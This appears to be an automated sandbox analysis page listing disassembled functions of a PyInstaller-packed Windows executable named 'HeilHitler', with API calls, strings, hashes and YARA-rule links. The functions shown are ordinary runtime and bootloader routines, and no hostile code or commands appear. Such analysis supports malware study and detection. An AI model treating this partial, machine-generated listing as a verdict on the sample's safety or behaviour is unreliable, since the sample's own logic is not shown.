Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction ID: 82e56ad8a0df23da2c5ca72204515ecf9651ba7de6e1197dacfbe79d7a3fddff
Opcode Fuzzy Hash: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction Fuzzy Hash: D4318772619A8185EB20DFA1E8562F97360FF88788F840235EA4DDBB59DF3CD145D700

Function 00007FF633D62B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF633D6918F,?,00007FF633D63C55), ref: 00007FF633D62BA0
MessageBoxW.USER32 ref: 00007FF633D62C2A

Strings

Warning, xrefs: 00007FF633D62C1D
WARNING, xrefs: 00007FF633D62BAF
[PYI-%d:%ls] , xrefs: 00007FF633D62BA8

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: f9e216a77434f41ddc6c2818c5590be12bae5bfbd5c22c3e413d37561858f23e
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: 2221F732708B4192E7119B94F8467EA73A4FB88784F805236EE8DA7756DF3CD215C740

Function 00007FF633D62710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF633D61B99), ref: 00007FF633D62760

Strings

Error, xrefs: 00007FF633D627DE
[PYI-%d:%s] , xrefs: 00007FF633D62768
Error [ANSI Fallback], xrefs: 00007FF633D627CF
ERROR, xrefs: 00007FF633D6276F

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: 2ac7761fc5d2d0ce4d1714a694a1c284d2a48211121f43196110f73418939675
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: 1821B232A19B8192E720DB91F8427E673A4FB88784F801235FE9DA3759DF3CE1459740

Function 00007FF633D79A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF633D79AAD
GetProcAddress.KERNEL32 ref: 00007FF633D79AC3
FreeLibrary.KERNEL32 ref: 00007FF633D79AEA

Strings

mscoree.dll, xrefs: 00007FF633D79AA4
CorExitProcess, xrefs: 00007FF633D79ABC

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: 6e70702f8cc8c05fd7e2224f32638cf4824501ea2af2367d430ac242eaca4e9f
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: 6CF04F21B0A70681EA108FA4E49677A6320BF45761F541339D67E9A7E4DF3CE048E740

Function 00007FF633D89368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF633D89390
_set_statfp.LIBCMT ref: 00007FF633D893AB
_set_statfp.LIBCMT ref: 00007FF633D893C7
_set_statfp.LIBCMT ref: 00007FF633D89403

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 1740fa7dea82f0db993d721bdbc789fe3a290f01ab4c766d09565ea55d8dcb9a
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 1A114F22E5CA0302FA6512EAE4973791150EF59364E046734EAEFFE7DA8E7CB8416104

Function 00007FF633D7B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF633D7A5A3,?,?,00000000,00007FF633D7A83E,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF633D7A5A3,?,?,00000000,00007FF633D7A83E,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF633D7A5A3,?,?,00000000,00007FF633D7A83E,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF633D7A5A3,?,?,00000000,00007FF633D7A83E,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7B407
FlsSetValue.KERNEL32(?,?,?,00007FF633D7A5A3,?,?,00000000,00007FF633D7A83E,?,?,?,?,?,00007FF633D7A7CA), ref: 00007FF633D7B418

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction ID: ca50551e65363582523f6374fa265e7449db3506ccfaf416f793eb32d8966603
Opcode Fuzzy Hash: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction Fuzzy Hash: F9115E20F0C64281FA689FB5955367962465F447B4F888334E93EFB7D6DE2CE452A300

Function 00007FF633D7B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF633D7B235
FlsSetValue.KERNEL32 ref: 00007FF633D7B254
FlsSetValue.KERNEL32 ref: 00007FF633D7B27C
FlsSetValue.KERNEL32 ref: 00007FF633D7B28D
FlsSetValue.KERNEL32 ref: 00007FF633D7B29E

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction ID: 6eab562e1d83f5d882c4aa02a22574ba7fae9327a1151a8ca1ce9ebb4e4ec727
Opcode Fuzzy Hash: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction Fuzzy Hash: 38113920E0E20781FAA86EF1442367E12424F45370F084734D93EFA7D2DD2CB9507341

Function 00007FF633D75FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D75FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D76106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D761BC

Strings

verbose, xrefs: 00007FF633D75FB0

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 5bfbfe9ee72169a339b73ff0211cb6058e7213603982fe5c203b5fe916921353
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 8291F232A08A4685F7658EA4D45637D37A1AB40B94F844336DE9DE33D6FF3CE849A300

Function 00007FF633D7FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D7FEA7

Part of subcall function 00007FF633D77A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D77A59

Strings

UTF-16LEUNICODE, xrefs: 00007FF633D7FE45
UTF-8, xrefs: 00007FF633D7FE26
ccs, xrefs: 00007FF633D7FDE2

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 6d0f7454b8fec6c00dd6cf00228ac33d822e6e7074f624caf0611361992f1dec
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 0881CD72E0821385F7749EA9815227826A8EB11B48F558735DA2DFF389CF2DE941B702

Function 00007FF633D6D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF633D6D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF633D6D70A
RtlUnwindEx.KERNEL32 ref: 00007FF633D6D764

Strings

csm, xrefs: 00007FF633D6D6F1

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: 61be1db25d527b0826e63ee315ab3468e3c2d08d298a55817cdb556ed082ef50
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 5F51BF32B196428ADB14CF95F445A787391FB44B98F918230DA6EA779CEF7CE841D700

Function 00007FF633D6F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF633D6F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF633D6F398

Strings

csm, xrefs: 00007FF633D6F2D2
csm, xrefs: 00007FF633D6F3EA

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 3fcdcd1c0f0ea58bf7fcc9dfd958138af5f85b08eccddb40698e0f4ea41e857b
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: B651A332A08B428AEB748FA1D14526837A8FB54B84F945336DA6DABB95CF3CF450D701

Function 00007FF633D6EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF633D6EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF633D6EF83

Strings

MOC, xrefs: 00007FF633D6EF4B
RCC, xrefs: 00007FF633D6EF53

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: 8358b9b083ad9bcf205d14673147ecac64c4f19881dc2d13d781748a40487605
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: 0061A232908BC586DB208F65E4413AAB7A4FB947C4F444325EBAC57B99DF7CE194CB00

Function 00007FF633D67E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF633D6352C,?,00000000,00007FF633D63F1B), ref: 00007FF633D67F32

Strings

%.*s, xrefs: 00007FF633D67EEB
\, xrefs: 00007FF633D67E97
%s%c, xrefs: 00007FF633D67EA4

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction ID: 1bc1189d81329e79b0f594df65f4b7a7ddf4bfb33ccbd971c0db40d7ffe78eff
Opcode Fuzzy Hash: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction Fuzzy Hash: B031E621619AC645FA219B61E8127AA7358EF84BE4F800331FE7D977C9EF3CD6059700

Function 00007FF633D62810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF633D628EA

Strings

Error, xrefs: 00007FF633D628DD
ERROR, xrefs: 00007FF633D6286F
[PYI-%d:%ls] , xrefs: 00007FF633D62868

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: cb4500abcac2290a2ecdb12b620301205265b60e94a368f1fe62eb829fa546cd
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: DC21F772708B4191E7109B94F8467EA7360FB88784F805236EE8DA7756DF3CD255D740

Function 00007FF633D7C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF633D7C61F
WriteFile.KERNEL32 ref: 00007FF633D7C8E7
WriteFile.KERNEL32 ref: 00007FF633D7C92D
GetLastError.KERNEL32 ref: 00007FF633D7C9E3

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 4011ab1016f224084199e4224510aeb5237c71053e27409bc8eec7eb2664b866
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: A9D1FEB2B18A818EE750CFA5D4412AC37B1FB54B98B444336DE5EA7B99DF38E116D300

Function 00007FF633D7F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF633D7FA7C
_get_daylight.LIBCMT ref: 00007FF633D7FA8D
_get_daylight.LIBCMT ref: 00007FF633D7FA9E
_isindst.LIBCMT ref: 00007FF633D7FB69

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: 546747b20ff5b2b5e960a0ff4e953700f2f0f40efcb574949882fd7f3944177b
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 7851C872F042118AFB24DFE4D9666BC2769AF44369F500336DD2DAABE5DF38A402D700

Function 00007FF633D7577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF633D757AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF633D75811
GetLastError.KERNEL32 ref: 00007FF633D758A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF633D756B4), ref: 00007FF633D758EE

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633DA2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044948502.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: b22458fa52191d5120275d4ec9f9ea44465807ec3a701729560ee272b97e6bff
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: 5951AD22E086418AFB10CFB1D4523BD37A2AB48B58F149639DE4DAB789DF38E4819341

Function 00007FF633D620C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF633D620F4
SetWindowLongPtrW.USER32 ref: 00007FF633D62116
GetWindowLongPtrW.USER32 ref: 00007FF633D62140
InvalidateRect.USER32 ref: 00007FF633D62160

Memory Dump Source

Source File: 00000000.00000002.2044747712.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000000.00000002.2044699200.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044805928.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2044858286.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
